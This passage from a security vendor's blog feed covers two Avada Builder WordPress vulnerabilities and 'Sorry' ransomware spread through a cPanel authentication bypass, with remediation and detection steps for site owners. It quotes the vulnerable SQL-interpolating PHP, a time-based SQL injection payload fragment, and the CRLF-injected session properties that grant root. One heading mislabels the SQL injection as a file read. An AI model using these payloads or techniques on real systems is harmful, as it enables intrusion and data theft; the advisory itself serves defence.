&lt;p&gt;This is the same pattern we covered in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;: a developer protects the endpoint with a nonce, assumes that is enough, and forgets that the nonce is available to anyone with an account. Subscribers were never meant to invoke shortcode rendering. The check that would have stopped this is one &lt;code&gt;current_user_can()&lt;/code&gt; call. The same root cause hit five other plugins in March 2026, including the &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;AcyMailing flaw we wrote up&lt;/a&gt; where a registered Joomla user could escalate to admin through an AJAX endpoint with no capability check.&lt;/p&gt;
&lt;p&gt;So any logged-in low-privilege user can call the shortcode with a path like &lt;code&gt;wp-config.php&lt;/code&gt; and read the response. &lt;code&gt;wp-config.php&lt;/code&gt; contains your database credentials, table prefix, and the eight keys and salts that secure WordPress sessions and password resets. Once those leak, the attacker can forge auth cookies, decrypt nonces, and pivot from “read a file” to “session as administrator.”&lt;/p&gt;
&lt;p&gt;If your Avada sites have open registration - membership sites, shops with customer accounts, anything where Subscriber accounts are created on signup - assume any Subscriber-level attacker has had this capability since Avada Builder 1.x.&lt;/p&gt;
&lt;h3&gt;Why an arbitrary file read of wp-config.php is so serious&lt;/h3&gt;
&lt;p&gt;A read primitive is not code execution, but it is one step away. The salts in &lt;code&gt;wp-config.php&lt;/code&gt; are the inputs to WordPress’s session signing. With those values an attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;forge &lt;code&gt;wp_session_tokens&lt;/code&gt; cookies and walk into wp-admin as any user, including administrators&lt;/li&gt;
&lt;li&gt;read your database credentials and, if your DB is reachable from anywhere with those creds, dump the entire site contents&lt;/li&gt;
&lt;li&gt;decrypt any encrypted option stored in the database (some plugins encrypt API keys with the auth keys)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The fix in 3.15.3 restricts &lt;code&gt;fusion_get_svg_from_file()&lt;/code&gt; to local SVG files and adds a capability check on the shortcode render endpoint.&lt;/p&gt;
&lt;h2&gt;CVE-2026-4798: Subscriber-Level Arbitrary File Read&lt;/h2&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;CVE-2026-4798&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;7.5 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated Time-Based Blind SQL Injection&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All versions up to and including 3.15.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.15.2&lt;/strong&gt; (April 13, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Bounty&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;$1,067.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Rafie Muhammad (via Wordfence Bug Bounty)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The post card items shortcode runs a SQL query against the &lt;code&gt;wc_order_product_lookup&lt;/code&gt; and &lt;code&gt;wc_orders&lt;/code&gt; tables to order results. The &lt;code&gt;product_order&lt;/code&gt; parameter from &lt;code&gt;$_GET&lt;/code&gt; is fed straight into the query’s &lt;code&gt;ORDER BY&lt;/code&gt; clause:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$args[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;order&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;isset&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; $_GET[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;product_order&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; ) )&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    ?&lt;/span&gt;&lt;span&gt; sanitize_text_field&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; wp_unslash&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; $_GET[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;product_order&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    :&lt;/span&gt;&lt;span&gt; $defaults[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;order&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$query &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    SELECT opl.product_id, MAX(opl.date_created) AS last_purchased&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    FROM {&lt;/span&gt;&lt;span&gt;$wpdb&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;prefix&lt;/span&gt;&lt;span&gt;}wc_order_product_lookup AS opl&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    INNER JOIN {&lt;/span&gt;&lt;span&gt;$wpdb&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;prefix&lt;/span&gt;&lt;span&gt;}wc_orders AS o&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        ON opl.order_id = o.id&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    WHERE o.status IN (&apos;wc-completed&apos;, &apos;wc-processing&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        AND opl.product_id &amp;gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    GROUP BY opl.product_id&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    ORDER BY last_purchased {&lt;/span&gt;&lt;span&gt;$args&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;order&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    LIMIT %d&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips tags and HTML, but it does not escape SQL. The query passes through &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; only for the &lt;code&gt;%d&lt;/code&gt; placeholder; the interpolated &lt;code&gt;{$args[&apos;order&apos;]}&lt;/code&gt; is appended as raw input. An attacker submits a payload like &lt;code&gt;last_purchased) CASE WHEN (...) THEN SLEEP(5) ELSE 0 END --&lt;/code&gt; and reads response timing to extract data one bit at a time.&lt;/p&gt;
&lt;h3&gt;Why the SQL injection has a strange trigger condition&lt;/h3&gt;
&lt;p&gt;The query references &lt;code&gt;wc_order_product_lookup&lt;/code&gt; and &lt;code&gt;wc_orders&lt;/code&gt;, WooCommerce’s HPOS (High-Performance Order Storage) tables. They only exist on sites that have run a recent WooCommerce.&lt;/p&gt;
&lt;p&gt;But the tables persist after WooCommerce is deactivated or uninstalled. WooCommerce avoids dropping order data on uninstall, which is normally a feature, not a bug. That is what creates the trigger condition in the Wordfence advisory: “the vulnerability can only be exploited if WooCommerce was previously used and then deactivated.”&lt;/p&gt;
&lt;p&gt;That catches a surprising number of sites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Client stores that were set up, never used, and deactivated to “clean up”&lt;/li&gt;
&lt;li&gt;Sites that migrated off WooCommerce to a different store plugin&lt;/li&gt;
&lt;li&gt;Test sites that briefly enabled WooCommerce and forgot to drop the tables&lt;/li&gt;
&lt;li&gt;Sites running Avada demo content with the WooCommerce demo data still on disk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If WooCommerce has ever touched your database, you are in scope for this one, even if it is no longer active.&lt;/p&gt;
&lt;h2&gt;How to verify your sites are patched&lt;/h2&gt;
&lt;p&gt;Three checks, in order of speed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;: open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Avada Builder extension search&lt;/a&gt; and confirm every install is on 3.15.3 or later. Anything on 3.15.2 or earlier still needs updating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WP-CLI&lt;/strong&gt; on a single site: &lt;code&gt;wp plugin get fusion-builder --field=version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;wp-admin&lt;/strong&gt;: Plugins page, find Avada Builder in the list, check the version.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the version is 3.15.0, 3.15.1, or 3.15.2, update to 3.15.3. If WordPress reports no update available, check that the Avada theme is registered with a current ThemeFusion licence. Avada Builder updates come through ThemeFusion’s update channel, not the WordPress.org directory, so a lapsed licence leaves the plugin pinned to an old version.&lt;/p&gt;
&lt;p&gt;For sites you cannot patch right away, deactivating Avada Builder takes the vulnerable shortcode handler and AJAX endpoint out of play until you can schedule the update.&lt;/p&gt;
&lt;h2&gt;What to do if you suspect you were compromised&lt;/h2&gt;
&lt;p&gt;Both vulnerabilities have been public since Wordfence’s advisory dropped today. CVE-2026-4798 has had a partial patch since April 13 in 3.15.2, so exploitation attempts may have been live for several weeks before the SQL injection patch dropped. The arbitrary file read in CVE-2026-4782 only got fully patched today.&lt;/p&gt;
&lt;p&gt;If you find a vulnerable version and you also see signs of compromise (new admin accounts, unfamiliar files, mailer abuse), treat &lt;code&gt;wp-config.php&lt;/code&gt; as leaked. Here is the checklist, with the mySites.guru tools that automate each step across your portfolio.&lt;/p&gt;
&lt;h3&gt;1. Rotate the database password and salts&lt;/h3&gt;
&lt;p&gt;The leaked &lt;code&gt;wp-config.php&lt;/code&gt; contains your DB credentials and the eight keys and salts used to sign WordPress sessions. Both are now visible to anyone who exploited the file read.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; config&lt;/span&gt;&lt;span&gt; shuffle-salts&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rotate the database password in your hosting control panel and update &lt;code&gt;DB_PASSWORD&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; to match. Salt rotation invalidates every existing session, so users have to log in again. That is the point.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; view lists every user account across every connected site in one place, so once salts are rotated you can spot which accounts log back in and which never do.&lt;/p&gt;
&lt;h3&gt;2. Hunt for rogue admin accounts&lt;/h3&gt;
&lt;p&gt;If an attacker forged a session before you rotated salts, they could have created an administrator. Check the user table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; ID, user_login, user_registered, user_email&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; wp_users&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; user_registered &lt;/span&gt;&lt;span&gt;DESC&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; 20&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything created since April 13, 2026 that you do not recognise is suspect.&lt;/p&gt;
&lt;p&gt;Across your whole portfolio, &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; sorts every account by registration date. Filter for accounts created since 3.15.2 dropped and you see hundreds of sites in one screen, with no per-site wp-admin login.&lt;/p&gt;
&lt;h3&gt;3. Look for backdoors and modified files&lt;/h3&gt;
&lt;p&gt;A file read on its own does not plant code, but a forged admin session afterwards can. Look for unexpected PHP files in &lt;code&gt;wp-content/uploads/&lt;/code&gt;, &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;, and anywhere else uploads should not contain executable code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; wp-content/uploads&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; -type&lt;/span&gt;&lt;span&gt; f&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; wp-content/mu-plugins&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; -mtime&lt;/span&gt;&lt;span&gt; -30&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; runs the same pattern matching across every connected site instead of by hand. Anything it flags gets a one-click &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains what the code does in plain English, so you can sort real threats from false positives without reading every flagged file yourself. The &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files report&lt;/a&gt; flags orphan PHP files outside the normal core, theme, and plugin paths.&lt;/p&gt;
&lt;h3&gt;4. Confirm no core files were tampered with&lt;/h3&gt;
&lt;p&gt;If salts leaked and a forged admin session dropped a backdoor, the easiest hiding spot is a modified core file or theme file. Compare against the official hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; core&lt;/span&gt;&lt;span&gt; verify-checksums&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; plugin&lt;/span&gt;&lt;span&gt; verify-checksums&lt;/span&gt;&lt;span&gt; --all&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mySites.guru covers this automatically: &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; compare every PHP file’s hash against the previous snapshot and email you when anything changes outside a normal update window, and the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; walks core, theme, and plugin files for tampered content as part of its run.&lt;/p&gt;
&lt;h3&gt;5. Hand it off if the site is compromised&lt;/h3&gt;
&lt;p&gt;If the site was actually exploited (extra admins, modified files, unfamiliar cron jobs) rather than just exposed, the cleanup is bigger than a plugin update. &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; handles the patch-plus-audit on a per-site basis: Avada Builder goes to 3.15.3, the site is checked for unfamiliar admin accounts and traces of file-read activity, credentials and salts are rotated, and the site comes back secure. Non-subscribers get a free month of mySites.guru included with the work.&lt;/p&gt;
&lt;h2&gt;Watching for the Next Avada Security Issue&lt;/h2&gt;
&lt;p&gt;Avada Builder ships with the Avada theme, one of the most-installed paid themes on WordPress. A big install base attracts researchers. Two CVEs from one researcher in one disclosure round is not a fluke: the &lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;March 2026 four-plugin patch round&lt;/a&gt; hit Elementor and Yoast SEO at similar scale, and the &lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;Essential Plugin supply-chain backdoor&lt;/a&gt; hit 31 plugins from a single acquired portfolio.&lt;/p&gt;
&lt;p&gt;The answer is not “switch off Avada.” It is the same answer as for every other widely-used plugin: keep the inventory current, patch within a defined window, monitor for changes, and have a rollback ready. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled updates&lt;/a&gt; let you stage update windows for client sites so they do not all jump on day-zero releases. A 48 to 72 hour delay would not have helped here (the patch was the safe version), but it does catch supply-chain attacks like Smart Slider 3 Pro 3.5.1.35 where the malicious release was pulled within hours of release.&lt;/p&gt;
&lt;p&gt;Agencies that handle CVEs cleanly are not faster readers. They have the inventory, the rollout, the monitoring, and the rollback already wired up before the CVE drops.&lt;/p&gt;
&lt;h2&gt;The disclosure timeline matters here&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you updated to 3.15.2 last month thinking you were safe, you closed the SQL injection. The file read was only partially mitigated. 3.15.3 is the version you actually need.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-03-21&lt;/strong&gt; Rafie Muhammad submits both flaws through the Wordfence Bug Bounty An arbitrary file read and an unauthenticated time-based blind SQL injection in a plugin bundled with a theme running on around a million WordPress sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-24&lt;/strong&gt; Wordfence validates the file read and discloses it to ThemeFusion The SQL injection is validated and disclosed the following day, and Wordfence Premium customers get a firewall rule then.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-13&lt;/strong&gt; 3.15.2 patches the SQL injection, and only partly fixes the file read So from this date the SQL injection is closed but the file read is not, and the plugin looks patched from the outside.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-24&lt;/strong&gt; Wordfence Free users get the firewall rule Thirty days after the paying tiers, which is the standard delay on that programme.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-12&lt;/strong&gt; 3.15.3 completes the fix, and both CVEs publish the same day CVE-2026-4782, the file read at 6.5 Medium and needing a Subscriber account, and CVE-2026-4798, the unauthenticated SQL injection at 7.5 High. Publication is when most exploitation attempts start, and the file read had been at partial-fix status for nearly a month by then.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/05/1000000-wordpress-sites-affected-by-arbitrary-file-read-and-sql-injection-vulnerabilities-in-avada-builder-wordpress-plugin/&quot;&gt;Wordfence advisory: 1,000,000 WordPress Sites Affected&lt;/a&gt; - full technical write-up with proof-of-concept and disclosure timeline&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;CVE-2026-4782 on Wordfence Threat Intel&lt;/a&gt; - the arbitrary file read entry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://avada.com/&quot;&gt;ThemeFusion (Avada)&lt;/a&gt; - the vendor. Check your licence is current to receive updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;mySites.guru WordPress vulnerability alerting&lt;/a&gt; - how the automatic detection works&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress, and WordPress plugins from mySites.guru&lt;/a&gt; - the bulk update workflow&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>vulnerability</category><category>plugins</category><category>avada</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/avada-builder-cve-2026-4782-4798.png" length="0" type="image/png"/></item><item><title>Spotting .sorry Ransomware on Your cPanel Hosts</title><link>https://mysites.guru/blog/sorry-ransomware-cpanel-detection/</link><guid isPermaLink="true">https://mysites.guru/blog/sorry-ransomware-cpanel-detection/</guid><description>Sorry ransomware encrypts cPanel-hosted sites via CVE-2026-41940 and appends .sorry to every file. mySites.guru now flags those files in every audit.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We just shipped automatic detection for the “Sorry” ransomware. Every site audit now flags any file ending in &lt;code&gt;.sorry&lt;/code&gt; as hacked, and the File Manager renders a red Ransomware badge next to those files so the encrypted artefacts are obvious next to the more usual PHP backdoors.&lt;/p&gt;
&lt;p&gt;The reason it needs its own treatment: this is a host-level ransomware, not a CMS-level one. It does not care whether the site it just encrypted is WordPress, Joomla, Drupal, or a single static &lt;code&gt;index.html&lt;/code&gt;. If the cPanel account it ends up in can read the file, it gets encrypted and renamed with &lt;code&gt;.sorry&lt;/code&gt; on the end. The decryptor is the attacker’s RSA-2048 private key. There is no public alternative.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Spot .sorry Files?&lt;/h2&gt;
&lt;p&gt;The audit pipeline ends with a post-audit pass that flags files matching known-bad patterns. We added one extra query:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt; bf_files&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   SET&lt;/span&gt;&lt;span&gt; hacked &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;, suspectcontent &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt; WHERE&lt;/span&gt;&lt;span&gt; filewithpath &lt;/span&gt;&lt;span&gt;LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;%.sorry&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every Joomla, WordPress and Generic connector now runs that query after the file inventory is collected. The site flips to “hacked” on your dashboard, the encrypted files show up in the Suspect Content tool, and the File Manager renders a red Ransomware badge next to each row alongside the existing Hacked File badge.&lt;/p&gt;
&lt;p&gt;That badge now follows you into the full &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; too: browse to the folder yourself and an encrypted &lt;code&gt;.sorry&lt;/code&gt; file still has the same red flag, so you can confirm the scope of an infection and start deleting the mess without ever opening an FTP client.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;File Manager row showing a yes.sorry file flagged with both Hacked File and Ransomware badges, alongside normal backdoor files&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1930px) 1930px, 100vw&quot; width=&quot;1930&quot; height=&quot;382&quot; src=&quot;https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_Z2rDdI3.webp&quot; srcset=&quot;https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_1MvYia.webp 640w, https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_18p0iJ.webp 750w, https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_1x09uC.webp 828w, https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_1swdEU.webp 1080w, https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_121Ax6.webp 1280w, https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_ZKVYj9.webp 1668w, https://mysites.guru/_astro/sorry-ransomware-cpanel-detection-file-manager.CrFZH17l_Z2rDdI3.webp 1930w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That row in the middle, &lt;code&gt;/yes.sorry&lt;/code&gt;, is what an encrypted file looks like through the audit. The badge is intentionally distinct from the standard “Hacked File” label so that a portfolio with hundreds of compromised sites can be sorted by ransomware victims first.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;If the dashboard shows a Ransomware badge on any of your sites, do not try to clean and reuse the cPanel account. The entry vector for this ransomware is a pre-auth root bypass in cPanel itself. The attacker had root WHM, not just one site&apos;s file permissions. Restore from backup onto a patched host and rotate every credential.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is CVE-2026-41940?&lt;/h2&gt;
&lt;p&gt;CVE-2026-41940 is a pre-authentication authentication bypass in cPanel and WHM, scored CVSS 9.8 and disclosed by WebPros on 28 April 2026. The root cause is CRLF injection in the login and session-loading code. An attacker injects raw &lt;code&gt;\r\n&lt;/code&gt; characters into the Basic Auth header and a crafted &lt;code&gt;whostmgrsession&lt;/code&gt; cookie. The server writes those characters straight into a pre-auth session file, which lets the attacker insert properties like &lt;code&gt;user=root&lt;/code&gt;, &lt;code&gt;hasroot=1&lt;/code&gt; and &lt;code&gt;tfa_verified=1&lt;/code&gt; into a session it then accepts as authenticated. The attacker walks into WHM as root with no credentials.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/&quot;&gt;watchTowr Labs&lt;/a&gt; published the deepest technical breakdown and &lt;a href=&quot;https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/&quot;&gt;Rapid7&lt;/a&gt; followed with the patch matrix and IR notes. The vulnerable surface includes every cPanel and WHM version released after v11.40, plus WP Squared up to 136.1.6.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/04/30/cpanel-zero-day-vulnerability-cve-2026-41940-exploited/&quot;&gt;Help Net Security&lt;/a&gt; reports earliest in-the-wild exploitation on 23 February 2026, more than two months before the patch shipped. By the time the advisory went out, the bug was already a known zero-day inside the threat-actor community.&lt;/p&gt;
&lt;h2&gt;What Does Sorry Ransomware Actually Do?&lt;/h2&gt;
&lt;p&gt;The ransomware itself is a separate piece of malware, dropped by attackers once they have root WHM from CVE-2026-41940. The technical detail comes from &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/critrical-cpanel-flaw-mass-exploited-in-sorry-ransomware-attacks/&quot;&gt;BleepingComputer’s coverage&lt;/a&gt; and ransomware researcher Rivitna:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Written in Go, Linux-only.&lt;/li&gt;
&lt;li&gt;ChaCha20 stream cipher per file. The per-file key is then wrapped with an embedded RSA-2048 public key.&lt;/li&gt;
&lt;li&gt;Appends &lt;code&gt;.sorry&lt;/code&gt; to every encrypted filename.&lt;/li&gt;
&lt;li&gt;Adds a 2,357-byte RSA-encrypted footer to each encrypted file.&lt;/li&gt;
&lt;li&gt;Drops a &lt;code&gt;README.md&lt;/code&gt; ransom note in every directory it touches.&lt;/li&gt;
&lt;li&gt;A single Tox ID for contact, reused across all victims, which makes it easy to correlate samples but useless for negotiating.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before encrypting, the operators scrape the filesystem for AWS, Stripe, OpenAI and Slack keys, then try to insert a hardcoded MySQL root password and dump every database. So even if you restore from backup, treat every secret the host ever held as compromised.&lt;/p&gt;
&lt;p&gt;There is no decryptor. Anyone telling you otherwise is selling a scam.&lt;/p&gt;
